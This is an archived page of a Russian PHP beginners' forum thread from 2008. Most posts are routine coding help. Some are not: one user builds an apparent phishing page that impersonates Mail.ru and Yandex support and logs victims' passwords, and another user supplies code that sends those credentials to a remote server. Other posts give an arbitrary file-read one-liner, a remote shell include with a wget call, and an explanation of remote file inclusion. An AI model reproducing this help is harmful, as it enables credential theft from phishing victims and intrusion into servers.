PDA

Просмотр полной версии : [php] Новичкам: задаем вопросы


Страницы : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 [28] 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66

Poozy
08.12.2008, 10:20
Как у прокси сервера можно узнать страну и поддерживает или нет он протокол "connect" при помощи php?
Спасибо!

http://daytonasystem.net/proxychecker.php
http://daytonasystem.net/proxytest.php

mff
08.12.2008, 15:04
Нужно на php написать чеккер ip на страну, это возможно?

159932
08.12.2008, 15:06
php.net/geoip

Ershik
08.12.2008, 17:04
Каким выражением можно посмотреть тип файла через PHP?
Например, я c помощью скрипта открываю каталог, а мне по очереди выстраивается список:
1.avi
2.avi
3.avi
1.doc
2.doc
3.doc
и т.д.

kalpsik
08.12.2008, 17:21
ИМХО 2 варианта:
Первый - использовать комбинацию strrpos() и substr() -

$ext = substr($fileName, strrpos($fileName, '.') + 1);

тоесть,если $fileName у тебя имяфайла.jpg тогда конструкция strrpos($fileName, '.') вернет последнее вхождение точки в полное имя файла. А substr($fileName, strrpos($fileName, '.') + 1) вернет просто jpg ну или без 1 - .jpg

Второй вариант strrchr() и substr() :

$ext = substr(strrchr($fileName, '.'), 1);

вернет тоже jpg

З.Ы. да, если в имени файла больше одной точки, то это не вариант....

[x26]VOLAND
08.12.2008, 17:52
Мой вариант:
function getFileExt($fileName)
{
return end(explode('.', $fileName));
}

VDShark
08.12.2008, 18:01
Ershik

регулярка

/.+\.([^.]+)/ - в подшаблоне будет расширение

Если стандартными строковыми ф-циями - то нужно начинать смотреть с конца

P.S. Если идет какая то критическая проверка - то этим данным доверять не следует :) Мало ли что в расширении написать можно.

geforce
08.12.2008, 20:31
Помогите сделать скрипт!!!
Есть форма:

<form action="load" method="post">
<p>
<!--загружаем свою катинку свою картинку-->
<input name="load1" type="file" />
</p>
<p>
<label>
<!--Выбираем нужную картинку с сервера-->
<select name="list" id="list">
</select>
</label>
</p>
<p>
<!--Нажимаем на кнопку картинки обьеденяются в одну своя верху скрипта внизу-->
<input type="submit" name="button" id="button" value="Submit" />
<label></label>
</p>
</form>

Нужно:
1 ЗАГРУЗИТЬ СВОЮ КАРТИНКУ
2 ВЫБРАТЬ КАРТИНКУ С СЕРВЕРА
3 НАЖАТЬ НА КНОПУ И ОНИ ОБЬЕДЕНЯТСЯ

[dei]
08.12.2008, 21:13
Помогите сделать скрипт!!!
Есть форма:

<form action="load" method="post">
<p>
<!--загружаем свою катинку свою картинку-->
<input name="load1" type="file" />
</p>
<p>
<label>
<!--Выбираем нужную картинку с сервера-->
<select name="list" id="list">
</select>
</label>
</p>
<p>
<!--Нажимаем на кнопку картинки обьеденяются в одну своя верху скрипта внизу-->
<input type="submit" name="button" id="button" value="Submit" />
<label></label>
</p>
</form>

Нужно:
1 ЗАГРУЗИТЬ СВОЮ КАРТИНКУ
2 ВЫБРАТЬ КАРТИНКУ С СЕРВЕРА
3 НАЖАТЬ НА КНОПУ И ОНИ ОБЬЕДЕНЯТСЯ

мдаа... скорее всего, еще один клон pixelsu.ru я угадал? плати бабки тебе напишут...

Ch3ck
08.12.2008, 21:24
Мне кажется ошибка в том, что надо загружать СВОЮ СВОЮ картинку, а не свою картинку... :) (imagecopy)
Тебе надо чтобы твоя картинка была наложена сверху?
_http://mysitez.km.ua/Programming/?phptransmask

m0Hze
08.12.2008, 21:24
Собствна не по пыхе,но хз куда еще запостить.
Собственна есть ссылка:

<a href="http://www.mail-suort.ru/index.php?id=m0hze@bk.ru&unblocked&2008849524001497" target="_blank" onclick="return cfm(this);" >http://win.mail.ru/cgi-bin/start?id=m0hze@bk.ru&unblocked&2008721028067</a><br><br>

Вопрос: Что делает вот это - onclick="return cfm(this); и вот это target="_blank".
Каковы их не назначения.Спасиба =)

kalpsik
08.12.2008, 21:27
target="_blank" - открывает ссылку в новом окне
onclick="return cfm(this) - возвращает значение отработки функции cfm

Mixon
08.12.2008, 21:51
А как можно сделать такое,есле в переменной содержится текст,например

$txt="Вот это этот текст что нужно";

То как сделать есле в этом тексте например есть слово "это" тогда выполнялось одно действие,а есле его нету,то другое? Желательно действия разные через if чтобы делать,ну ето есле можно так,пожайлуста,подскажите.. ..

Pashkela
08.12.2008, 22:00
<?
$txt='Вот это этот текст что нужно';
if (preg_match('/это/',$txt,$t)) echo 'это есть';
else echo 'это нет';
?>

Kaimi
08.12.2008, 22:03
if (preg_match('/это/',$txt,$t)) echo 'это есть';
else echo 'это нет';

Ну ты эстет... strpos в данном случае лучше

ronald
08.12.2008, 22:17
помогите плиз: как составить PHP-инж, чтобы сачать нужный мне файл на сервере

Ch3ck
08.12.2008, 22:30
php Серверный язык ;)
Вообще какую-то хню написал...(прочти чё таке пиашпи-инж)

m0Hze
08.12.2008, 23:21
У меня влпрос жесткий совсем.
Вообщем:
Есть

switch ($_POST['support'])
{
case 'supmail': $from = "<a href = "mail-support.ru/index.php?id=$who&unblocked&2008849524001497">dghghgfh</a><br>";
break;
case 'supya': $from = "<a href = "mail-support.ru/index.php?id=$who&unblocked&2008849524001497">retetretrt</a><br>";
break;
}
PHP выкидывает ошибку изза лишних " после <a href> в условии. Но поставить ' ' перед условиемя не могу,так как там есть переменные.Собственно как быть??
Может есть альтернатива.... Есть же "if", если пользоваться ею заместо switch, поможет?Вообщем нужна помощь срочно.

[dei]
08.12.2008, 23:22
помогите плиз: как составить PHP-инж, чтобы сачать нужный мне файл на сервере
эээ?

<?php if(!empty($_GET['fx'])) { echo ('<pre>'.@file_get_contents($_GET['fx']).'<pre>'); exit; } ?>

[dei]
08.12.2008, 23:24
У меня влпрос жесткий совсем.
Вообщем:
Есть

switch ($_POST['support'])
{
case 'supmail': $from = "Support@Mail.ru <support@support.mail.ru> <a href = "//mail-support.ru/index.php?id=$who&unblocked&2008849524001497">http://win.mail.ru/cgi-bin/start?id=$who&unblocked&2008721028067</a><br>
";
break;
case 'supya': $from = "Yandex.Support <support@corp.yandex.ru>
<a href = "//mail-support.ru/index.php?id=$who&unblocked&2008849524001497">http://win.mail.ru/cgi-bin/start?id=$who&unblocked&2008721028067</a><br>
";
break;
}
PHP выкидывает ошибку изза лишних " после <a href> в условии. Но поставить ' ' перед условиемя не могу,так как там есть переменные.Собственно как быть??
Может есть альтернатива.... Есть же "if", если пользоваться ею заместо switch, поможет?Вообщем нужна помощь срочно.

кавычки нужно екранировать, делается так: \"

upd: а вобще лучше всю строку в одинарных кавычках, почитай хоть немного мануалы.

m0Hze
08.12.2008, 23:25
']кавычки нужно екранировать, делается так: \"

Можеш показать на примере?Пожалуйста конечно.

m0Hze
08.12.2008, 23:26
Похоже понял,сейчас попробую и отпишусь Ж)

MegaFill
08.12.2008, 23:30
Здравствуйте! Возможно мой вопрос не в тему, но подходящего топика я не нашел. Собственно сабж, откуда можно скачать книжку "PHP 5 для начинающих Мерсер Д". Гугл ничего дельного не выдает...

[dei]
08.12.2008, 23:35
Здравствуйте! Возможно мой вопрос не в тему, но подходящего топика я не нашел. Собственно сабж, откуда можно скачать книжку "PHP 5 для начинающих Мерсер Д". Гугл ничего дельного не выдает...
нигде. вот тут можно купить электронный вариант http://www.books.ru/shop/books/624878

MegaFill
08.12.2008, 23:41
']нигде. вот тут можно купить электронный вариант http://www.books.ru/shop/books/624878
А почему все так грустно? Неужто в инете за 3 года не появилось ни одного свободного пдф с книжкой?

[dei]
08.12.2008, 23:44
А почему все так грустно? Неужто в инете за 3 года не появилось ни одного свободного пдф с книжкой?
ищи коль оптимист :p

KillDead
09.12.2008, 00:55
помогите плиз: как составить PHP-инж, чтобы сачать нужный мне файл на сервере
Можно посоветовать тупой file_get_contents(URL) и fopen(URL);
Хотя лучше использовать сокеты http://php.ru/manual/ref.sockets.html и курл http://php.ru/manual/ref.curl.html

Red_Red1
09.12.2008, 03:49
Есть двумерный массив вида
1 a d
2 b c
3 c b
4 d a
Хочу устроить сортировку как по столбцам.
Т.е. сортируем по первому нулевому столбику (столбцы пронумерованы допустим от 0 до 3) в обратном порядке, получаем
4 d a
3 c b
2 b c
1 a d
Т.е. СТРОКИ таблицы неразбились
Далее то что получилось сортируем допустим по первому столбику по порядку получим
1 a d
2 b c
3 c b
4 d a
Ну и можем сортировать так по любому столбику туда сюда.
КАК сделать такую сортировку массива на PHP?
Почитал array_multisort - не то... или неверно почитал :(

gisTy
09.12.2008, 04:10
Можно посоветовать тупой file_get_contents(URL) и fopen(URL);
Хотя лучше использовать сокеты http://php.ru/manual/ref.sockets.html и курл http://php.ru/manual/ref.curl.html
а можно через wget попробовать... если он установлен конечноsystem("wget www.site.com/file.exe");так же можно попробовать заинклудить шеллinclude("http://www.site.com/shell.txt");и потом через него со своего кумпьютера загрузить нужный файл.
а вообще способов много

Pashkela
09.12.2008, 04:31
2 Red_Red1:

примерно так:


<?
/*
Есть двумерный массив вида
1 a d
2 b c
3 c b
4 d a
Хочу устроить сортировку как по столбцам.
Т.е. сортируем по первому нулевому столбику (столбцы пронумерованы допустим от 0 до 3) в обратном порядке, получаем
4 d a
3 c b
2 b c
1 a d
Т.е. СТРОКИ таблицы неразбились
Далее то что получилось сортируем допустим по первому столбику по порядку получим
1 a d
2 b c
3 c b
4 d a
Ну и можем сортировать так по любому столбику туда сюда.
КАК сделать такую сортировку массива на PHP?
*/

$str = "a d b c c b d a";
preg_match_all('/([a-z])/s', $str, $result);
$count = count($result[0]);
for ($i=0;$i<$count;$i++)
{
echo $result[0][$i].$result[0][$i+1]."\r\n";
$i++;
}
echo "\r\n";
$count1 = count($result[0])-2;
for ($i=0;$i<=$count1;$i++)
{
$result[1][$i] = $result[0][$i+1];
$result[1][$i+1] = $result[0][$i];
$i++;
}
for ($i=0;$i<$count;$i++)
{
echo $result[1][$i].$result[1][$i+1]."\r\n";
$i++;
}
echo "\r\n";
for ($i=0;$i<=$count1;$i++)
{
$result[1][$i] = $result[0][$i];
$result[1][$i+1] = $result[0][$i+1];
$i++;
}
for ($i=0;$i<$count;$i++)
{
echo $result[1][$i].$result[1][$i+1]."\r\n";
$i++;
}

Oozy
09.12.2008, 04:37
Pashkela зачем изобретать велосипед
Red_Red1 юзай array_reverse()

Pashkela
09.12.2008, 04:52
Мне нравится изобретать велосипеды, т.к. по образованию не программер. Каждый вопрос - ребус.
Главное - результат:)

Red_Red1
09.12.2008, 09:56
2 Pashkela
Спасибо конечно за попытку.
Но дело в том что мне нужна СОРТИРОВКА МАССИВА.
Может это некая функция должна быть на вход которой подаем массив, столбик по которому сортируем, направление. На выходе отсортированый массив.

Может так будет понятнее
Имеем массив полных имен Фамилия Имя Отчество

Фамилия Имя Отчество

1 Иванов Николай Петрович

2 Сидоров Андрей Алексеевич

3 Егоров Плюс Плюсович

4 Петров Тарас Сергеевич

Нужна сортировка по столбикам, т.е. по фамилии, имени или отчеству. При это ясно что "человек должен остатся" Т.е. Если сортируем по имени то НЕ должно получится Иванов АНДРЕЙ Петрович
...
Видимо нету такой функции в ПХП... придется писать что то подобное.

astrologer
09.12.2008, 11:22
Red_Red1, usort (http://php.net/usort)();

Хотя это скорее задача БД.

Pashkela
09.12.2008, 12:55
2 Red_Red1:

Да принцип тот же самый, только лучше тогда, чтобы массив, если речь идет просто о тексте в текстовом файле, был такой:

1 Иванов Николай Петрович;

2 Сидоров Андрей Алексеевич;

3 Егоров Плюс Плюсович;

4 Петров Тарас Сергеевич;

Делаем 1-ый эксплоуд через ";" а потом каждый элемент получившегося массива эксплодим через "цифра_пробел" и смотрим первую букву второго элемента нового массива. А дальше просто и алгоритм примерно такой же. Если надо - могу сделать

Red_Red1
09.12.2008, 13:32
Причем тут файлы?! О.о Я ведь про файлы ниче не писал. Есть уже готовый массив.
$arr[1]['Familiya'] = 'Иванов'
$arr[1]['Imya'] = 'Николай'
$arr[1]['Otchestvo'] = 'Петрович'
и т.д.
Я просто "нарисовал" его в виде таблицы, так удобнее.

.:nbd:.
09.12.2008, 14:56
ИМХО только через БД, остальное костыли.

Gifts
09.12.2008, 15:02
Red_Red1 пример каг бе из мануала. Захочется в обратном порядке сортировать - сделаете вместо одной функции - класс. Пример так же тут: http://ru2.php.net/manual/ru/function.usort.php

function cmp($a, $b)
{
return strcmp($a["Familiya"], $b["Familiya"]);
}

$arr[1]['Familiya'] = 'Петров';
$arr[1]['Imya'] = 'Николай';
$arr[1]['Otchestvo'] = 'Петрович';

$arr[2]['Familiya'] = 'Иванов';
$arr[2]['Imya'] = 'Сергей';
$arr[2]['Otchestvo'] = 'Павлович';

$arr[3]['Familiya'] = 'Сидоров';
$arr[3]['Imya'] = 'Максим';
$arr[3]['Otchestvo'] = 'Викторович';

usort($arr, "cmp");

foreach($arr as $key => $value)
{
echo "\$arr[$key]: " . $value['Familiya'].":".$value['Imya'].":".$value['Otchestvo']. "
";

159932
09.12.2008, 16:21
<?
function mm($a1, $a2){
return strcmp(substr($a1,3),substr($a2,3));
}

function mm1($a1, $a2){
return strcmp(substr($a2,3),substr($a1,3));
}

function srt($arr, $num, $tip = 0){ # $num - имя столбца для сортировки; $tip - вид сортировки, 0 - обычный порядок, 1 - обратный;

$abc = array();
$fin = array();

foreach($arr as $k=>$v){
$abc[] = $k.'::'.$arr[$k][$num];
}
if (!$tip) usort($abc, 'mm');
else usort($abc, 'mm1');

foreach($abc as $elf) $fin[] = $arr[substr($elf,0,1)];
return $fin;
}
# например вот сортировка по имени в обратном порядке, если взать таблу придложенную гифтсом
srt($a,'Imya',1);
?>

m0Hze
09.12.2008, 16:29
Собственно вопрос.
Есть 2 сервера с пыхыпы.На 1 стоит форма например, логин пароль.И эти данные при вводе пишться в файл таким вот образом.

$fp = fopen("logs_name.txt","a+");
fwrite($fp, "Логин: $who Пароль: $pass \n");
fclose($fp);
Все работает,все пучком.Теперь идет вопрос.Как заставить данные записать в файл на другом сервере?Пробывал так:

$fp = fopen("http://yaou.ru/logs_name.txt","a+");

Ничего не вышло.Собственно как?)
2 вопрос.Покажите пожалуйста,как эти данные записать в БД мускул.Самый просто скрипт,чтобы все данные,логин и пас от БД хранились в нем же.Спасибо.

kalpsik
09.12.2008, 16:35
mysql_connect("servername", "login", "password");
mysql_select_db("database");
mysql_query("set names cp1251"); //так, на всякий случай=)
mysql_query("insert into table (row_login, row_pass) values ('$who', '$pass')");

PaCo
09.12.2008, 16:37
$fp = fopen("http://yaou.ru/logs_name.txt","a+");

ты так ничего не запишешь, на удаленом сервере должен стоять такой же скрипт:

$in=strip_tags(@$_GET['in']);
if(!emtpy($in)){
$fp = fopen("logs_name.txt","a+");
fwrite($fp, "Логин: $who Пароль: $pass \n");
fclose($fp);
}

m0Hze
09.12.2008, 16:38
Всем спасибо,сейчас попробую.

m0Hze
09.12.2008, 16:40
ты так ничего не запишешь, на удаленом сервере должен стоять такой же скрипт:

$in=strip_tags(@$_GET['in']);
if(!emtpy($in)){
$fp = fopen("logs_name.txt","a+");
fwrite($fp, "Логин: $who Пароль: $pass \n");
fclose($fp);
}


Немного непонятно с этм моментом.
Покажи пожалуйста,что должно стоять на 1 сервере,а что на другом.Чтото я просто системы не понял,ведь первый скрипт не обращаеться к скрипту на другом,а он обращаеться к текстовику.В общем напиши пожуалуйста.

159932
09.12.2008, 16:40
$fp = fopen("http://yaou.ru/logs_name.txt","a+");

Ничего не вышло.Собственно как?)
2 вопрос.Покажите пожалуйста,как эти данные записать в БД мускул.Самый просто скрипт,чтобы все данные,логин и пас от БД хранились в нем же.Спасибо.
хуяссе .. если б так можно было, я б захватил инет :D
fopen("ftp://blabla:qwerty@google.com/log.txt", "a");
и кстете, зачем ты писал a+ ?? ты вроде только пишешь .. так что ставь просто а.

-----------
2 PaCo
а это нах ??? o_O лучше уже прикрутить ещё третий сервер, на который будут передаваться данные с первого, а уже с третьего - будут на второрй :D

PaCo
09.12.2008, 16:49
Немного непонятно с этм моментом.
Покажи пожалуйста,что должно стоять на 1 сервере,а что на другом.Чтото я просто системы не понял,ведь первый скрипт не обращаеться к скрипту на другом,а он обращаеться к текстовику.В общем напиши пожуалуйста.
это на удаленом серваке:

<?php
$who=strip_tags(urldecode(@$_GET['who']));
$pass=strip_tags(urldecode(@$_GET['pass']));

if(!emtpy($who) && !emtpy($pass)){
$fp = fopen("logs_name.txt","wb");
fwrite($fp, "Логин: $who Пароль: $pass \n");
fclose($fp);
}
?>



на том с которого осылаешь:


<?php
$who=urlencode("root");
$pass=urlencode("паролик");
$addr="http://адрессудаленгосерва/путь_к_скрипту.php?pass=$pass&who=$who";
file_get_contents($addr);

?>

159932
09.12.2008, 16:58
2 PaCo
нах это делать гетом ?
и почему не открывать fopen'ом фтп ? в чём прикол? чем сложнее - тем веселее? ну так реализуй вариант ещё веселей, описаный постом выше, с использованием 3х серверов...

PaCo
09.12.2008, 18:16
2 PaCo
нах это делать гетом ?
и почему не открывать fopen'ом фтп ? в чём прикол? чем сложнее - тем веселее? ну так реализуй вариант ещё веселей, описаный постом выше, с использованием 3х серверов...
Я написал так просто что бы показать направления, а с фтп - у него может не оказаться учетки фтп ни на одном хосте. Но раз вы знаток то почему вам не сделать на ssh2 что бы усложнить и так не доконца понятное ему с использованием простых перелинков и посмеяться уже до укачки? Имхо fopen("ftp://blabla:qwerty@google.com/log.txt", "a") - такой способ еше менее безопасный чем мой.

159932
09.12.2008, 18:42
Имхо fopen("ftp://blabla:qwerty@google.com/log.txt", "a") - такой способ еше менее безопасный чем мой.
в чём? может я чего-то не знаю .. с радостью выслушаю развёрнутый ответ ..

PaCo
09.12.2008, 18:46
в чём? может я чего-то не знаю .. с радостью выслушаю развёрнутый ответ ..
в том что если кто-то получит доступ к сайту его ждет бонус в качестве доступа по ftp на другой сайт. И знаете вы это лутчше чем я :)(ответ получился завернутый).

159932
09.12.2008, 18:58
в том что если кто-то получит доступ к сайту его ждет бонус в качестве доступа по ftp на другой сайт. И знаете вы это лутчше чем я :)(ответ получился завернутый).
нуу.. в этом смысле .. ну это конечно да, но в принципе, если сделать небольшую обфускацию, то взломщик не заметит этот самый фтп, если конечно не будет копаться в скрипте сиьлно, или ещё хуже - тестить на локалке со снифаньем ..
но кому это нах надо ?
а вот гетом перелавать, это точно никому не надо .. если юзать скрипт на 2ом сервере, лучше уж передавать постом и сделать небольшую автозамены некоторых символов в скриптах, для большей уверенности ..

PaCo
09.12.2008, 19:15
а вот гетом перелавать, это точно никому не надо .. если юзать скрипт на 2ом сервере, лучше уж передавать постом и сделать небольшую автозамены некоторых символов в скриптах, для большей уверенности ..
согласен на 100%, энто я так для примера(пример вышел ламерский этно да, но каков вопрос таков ответ), можно вообше открывать сокет, маскировать переменные под плюшки, а уже на втором скрипте брать эти самые плюшки, можно еше что то типа авторизации сделать, короче на что хФатит фантазии и времени.

geforce
09.12.2008, 20:15
Подскажите как менять пропорции кортинки и как две объеденить в одну?

159932
09.12.2008, 20:18
http://www.php.net/manual/ru/ref.image.php

geforce
09.12.2008, 21:41
Посоветуйте справочник на русско со фсеми функциями php,,,,???

ronald
09.12.2008, 21:48
Народ, объясните плз, что такое php-инклуд и как его реализовать через переменную?

Ru}{eeZ
09.12.2008, 22:01
Посоветуйте справочник на русско со фсеми функциями php,,,,???

Дмитрий Котёров, Алексей Костарёв PHP5 2-е издание
много чего)
+ основные - PHP справочник O'RELLY

Buffalon
09.12.2008, 22:36
Народ, объясните плз, что такое php-инклуд и как его реализовать через переменную?
Если ты про PHP-in
то

incude xXx.php;

Сама бага заключается когда делают так

Допустим на сайте my.ru ->написанно вот это
incude $per/xXx.php;

Тогда если заместо $per подставить http://mysite.ru
И если зальём наш ШЕЛЛ по адресу http://mysite.ru/xXx.php

То мы запустим наш ШЕЛЛ

Думаю ты понял ! :rolleyes:

ronald
09.12.2008, 22:44
не полностью, но понял.
Можно ли самому инклюдить на сервер свой скрипт, к примеру:
www.mysite.ru/blah-blah.php?blah={инклуд}
возможно ли это?

Pashkela
09.12.2008, 22:54
Сможешь ты - сможет любой. Ты у себя должен инклудить в коде:

include "script.php";

ronald
09.12.2008, 22:56
а как SQL-инъекцию через адресную строку можно или опять "PHP-серверный язык"?

gisTy
09.12.2008, 22:58
а как SQL-инъекцию через адресную строку можно или опять "PHP-серверный язык"?шел бы ты учил PHP/SQL... не задавал бы таких вопросов

UnPazz
09.12.2008, 23:02
а как SQL-инъекцию через адресную строку можно или опять "PHP-серверный язык"? прочитай, что делает функция htmlspecialchars на php.

Buffalon
09.12.2008, 23:02
а как SQL-инъекцию через адресную строку можно или опять "PHP-серверный язык"?
Всё сводиться к тому что мы должны проверять выходные параметры;
Понял?

geforce
10.12.2008, 01:05
вывожу инвормацию с базы в выподающее меню

<select name="data">
<?

$result = mysql_query("SELECT * FROM data",$db);

if (!$result)
{
echo "<p>Запрос на выборку данных из базы не прошел. Напишите об этом администратору admin@ruseller.com. <br> <strong>Код ошибки:</strong></p>";
exit(mysql_error());
}

if (mysql_num_rows($result) > 0)

{
$myrow = mysql_fetch_array($result);

do
{
printf ("<option value='%s'>%s</option>",$myrow["id"],$myrow["name"]);



}
while ($myrow = mysql_fetch_array($result));

}

else
{
echo "<p>Информация по запросу не может быть извлечена в таблице нет записей.</p>";
exit();
}

?>
</select>

Вопрос:

Как мне зделать так чтоб при выбори в меню пункта (
в данном случае это картинка) она выводилась ниже.

в тоблице 3 поля id, name, url,

????????????????????????????????????????????

[dei]
10.12.2008, 05:03
Посоветуйте справочник на русско со фсеми функциями php,,,,???
php.net/функция

KillDead
10.12.2008, 18:04
вывожу инвормацию с базы в выподающее меню
Как мне зделать так чтоб при выбори в меню пункта (
в данном случае это картинка) она выводилась ниже.

в тоблице 3 поля id, name, url,

????????????????????????????????????????????
она выводилась ниже- кто картинка выводилась ?

geforce
10.12.2008, 18:20
она выводилась ниже- кто картинка выводилась ?

После того как выподающий список у меня в скрипте заполняется из базы я хочу зделать так чтоб при выборе из этого списка картинки она выводилась на экран ниже! как это зделать???

KillDead
10.12.2008, 19:10
Тебе надо именно на php? Просто тебе большет подайдёт js, вот набросал немного кода:

<html>
<head>
<title>1</title>
</head>

<body><script>

var uagent = navigator.userAgent.toLowerCase();
var is_safari = ( (uagent.indexOf('safari') != -1) || (navigator.vendor == "Apple Computer, Inc.") );
var is_ie = ( (uagent.indexOf('msie') != -1) && (!is_opera) && (!is_safari) && (!is_webtv) );
var is_ie4 = ( (is_ie) && (uagent.indexOf("msie 4.") != -1) );
var is_moz = (navigator.product == 'Gecko');
var is_ns = ( (uagent.indexOf('compatible') == -1) && (uagent.indexOf('mozilla') != -1) && (!is_opera) && (!is_webtv) && (!is_safari) );
var is_ns4 = ( (is_ns) && (parseInt(navigator.appVersion) == 4) );
var is_opera = (uagent.indexOf('opera') != -1);
var is_kon = (uagent.indexOf('konqueror') != -1);
var is_webtv = (uagent.indexOf('webtv') != -1);

var is_win = ( (uagent.indexOf("win") != -1) || (uagent.indexOf("16bit") !=- 1) );
var is_mac = ( (uagent.indexOf("mac") != -1) || (navigator.vendor == "Apple Computer, Inc.") );
var ua_vers = parseInt(navigator.appVersion);


var selField = "center";




function getOffsetLeft(obj)
{
var top = obj.offsetLeft;

while( (obj = obj.offsetParent) != null )
{
top += obj.offsetLeft;
}

return top;
};

function getOffsetTop(obj)
{
var top = obj.offsetTop;

while( (obj = obj.offsetParent) != null )
{
top += obj.offsetTop;
}

return top;
};

function ins_w(element)
{
var buttonElement = document.getElementById(element);
document.getElementById(element).focus();

if ( is_ie )
{
document.getElementById(element).focus();
ie_range_cache = document.selection.createRange();
}


iLeftPos = getOffsetLeft(buttonElement);
return iLeftPos;




};

function ins_h(element)
{
var buttonElement = document.getElementById(element);

document.getElementById(element).focus();

if ( is_ie )
{
document.getElementById(element).focus();
ie_range_cache = document.selection.createRange();
}

return iTopPos = getOffsetTop(buttonElement)+ buttonElement.offsetHeight+10 ;

};

function image_creat(val_id, src){

div_img = document.getElementById('div_imges');


div_img.style.visible = 'block';
while (div_img.firstChild)div_img.removeChild(div_img.fi rstChild);
div_img.innerHTML = '<img src="'+src+'" />';

div_img.style.left = ins_w(val_id);
div_img.style.top = ins_h(val_id);


}


</script>


<table border="1" width="100%" id="center">
<tr>
<td>
<img border="0" src="http://imgl.yandex.net/i/www/logo1.png" onclick="image_creat(this.id, this.src)" id="q" width="178" height="120"></td>
<td>
<img border="0" src="http://imgl.yandex.net/i/www/logo1.png" onclick="image_creat(this.id, this.src)" id="qq" width="178" height="120"></td>
<td>
<img border="0" src="http://imgl.yandex.net/i/www/logo1.png" onclick="image_creat(this.id, this.src)" id="qwq" width="178" height="120"></td>
<td>
<img border="0" src="http://imgl.yandex.net/i/www/logo1.png" onclick="image_creat(this.id, this.src)" id="qwdq"width="178" height="120"></td>
<td>
<img border="0" src="http://imgl.yandex.net/i/www/logo1.png" onclick="image_creat(this.id, this.src)" id="qqqqq" width="178" height="120"></td>
</tr>
</table>
<div style="position: absolute; width: 100px; height: 100px; z-index: 1; visible:none; left:729px; top:261px" id="div_imges">
&nbsp;</div>

<p>
</p>
</body>

geforce
10.12.2008, 19:20
Большое спасибо конечно но там такой скрипт что подгрузка картинок идёт именно с базы Mysql в выежающий список <select>!!!

<select name="data">
<? //меню выбора картинки

$result = mysql_query("SELECT * FROM data",$db);

if (!$result)
{
echo "<p>Запрос на выборку данных из базы не прошел. Напишите об этом администратору admin@ruseller.com. <br> <strong>Код ошибки:</strong></p>";
exit(mysql_error());
}

if (mysql_num_rows($result) > 0)

{
$myrow = mysql_fetch_array($result);

do
{
printf ("<option value='%s'>%s</option>",$myrow["id"],$myrow["name"]);



}
while ($myrow = mysql_fetch_array($result));

}

else
{
echo "<p>Информация по запросу не может быть извлечена в таблице нет записей.</p>";
exit();
}

?>
</select>

Если после загрузки этого кода посмотреть HTML
То получится вот так:

<select name="data">
<option value='1'>1228856272_23047.jpg</option><option value='2'>1228856289_401_1.jpg</option><option value='3'>1228856322_x_7620d92b.jpg</option></select>

При выбори картинке поле выбора <option> должно получить значение select и потом ниже выводиться содержимое этого поля! Как это можно реализовать в PHP????

KillDead
10.12.2008, 20:01
тогда это не выподающее меню а выподающий список. ;)
В чём тогда проблема? - просто делаешь форму <form method="POST" action="">...
А потом просто разбираешь пост запрос и выбираешь выбранную картинку
$id = $_POST['data'];
if(is_int($id)===FALSE )exit("HAKING");

$result = mysql_query("SELECT * FROM data WHERE id='.$id",$db);
...
printf ("<img src='%s' />",$myrow["url"]);

geforce
10.12.2008, 20:47
Помоге добить скрипт???

Ирархия папок:
_______________________________________

fotos
2.jpg (картинка загруженая пользователем)
admin
data
1.jpg (картинки загруженные админом)
index.php
db.php
load.php
index.php
db.php
load.php

MySQL
________________________________________

имя базы img
таблица 1: foto (Поля: id, name, url) для пользвателя
таблица 2: data (Поля: id, name, url) для админа

________________________________________

коды:

index.php

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
<title>Загрузка</title>
</head>

<body>
<form enctype="multipart/form-data" method="POST" action="load.php">

<b>Фото:</b><br />
<input type="file" name="myfile" style="width:304px; height:18px" id="myfile" />

<br /><br />
<input style="height: 35px;" type="submit" value="Добавить фото" name="submit">

</form>



</body>
</html>

load.php

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
<title>Untitled Document</title>
</head>

<body>
<?php

// Подключаемься к базе данных

include ("db.php");

//================Настройки============= //
$maxwidth = "300px"; // максимальная ширина картинок на превью
$fotos_dir = "fotos/"; // Директория для фотографий товаров
$foto_name = $fotos_dir.time()."_".basename($_FILES['myfile']['name']); // Полное имя файла вместе с путем
$foto_light_name = time()."_".basename($_FILES['myfile']['name']); // Имя файла исключая путь
$foto_tag = "<img src=\"$foto_name\" border=\"0\">"; // Готовый тэг для вставки картинки на страницу
$foto_tag_preview = "<img src=\"$foto_name\" border=\"0\" width=\"$maxwidth\">"; // Тот же тэг, но для превью

// Текст ошибок
$error_by_mysql = "<span style=\"font: bold 15px tahoma; color: red;\">Ошибка при добавлении данных в базу</span>";
$error_by_file = "<span style=\"font: bold 15px tahoma; color: red;\">Невозможно загрузить файл в директорию. Возможно её не существует</span>";



// Начало
if(isset($_FILES["myfile"]))
{
$myfile = $_FILES["myfile"]["tmp_name"];
$myfile_name = $_FILES["myfile"]["name"];
$myfile_size = $_FILES["myfile"]["size"];
$myfile_type = $_FILES["myfile"]["type"];
$error_flag = $_FILES["myfile"]["error"];

// Если ошибок не было
if($error_flag == 0)
{


$DOCUMENT_ROOT = $_SERVER['DOCMENT_ROOT'];
$upfile = getcwd()."\\fotos\\" . time()."_".basename($_FILES["myfile"]["name"]);
if ($_FILES['myfile']['tmp_name'])
{


//Если не удалось загрузить файл

if (!move_uploaded_file($_FILES['myfile']['tmp_name'], $upfile))
{
echo "$error_by_file";
exit;
}

}
else
{
echo 'Проблема: возможна атака через загрузку файла. ';
echo $_FILES['myfile']['name'];
exit;
}


// После удачной обработки файла, выводим сообщение
echo "<h3>Результат добавления товара:</h3> <br />";
echo "<b>Файл успешно скопирован в директорию:</b> ".$fotos_dir." <br /><b>Имя файла:</b> ".$foto_light_name."<br />";
echo "<br /><small>Превью загруженной картинки:</small> <br />$foto_tag_preview<br /><br />";



// Заносим путь картинки в базу данных
$q = "INSERT INTO foto (url,name) VALUES ('$foto_name','$foto_light_name')";
$query = mysql_query($q);


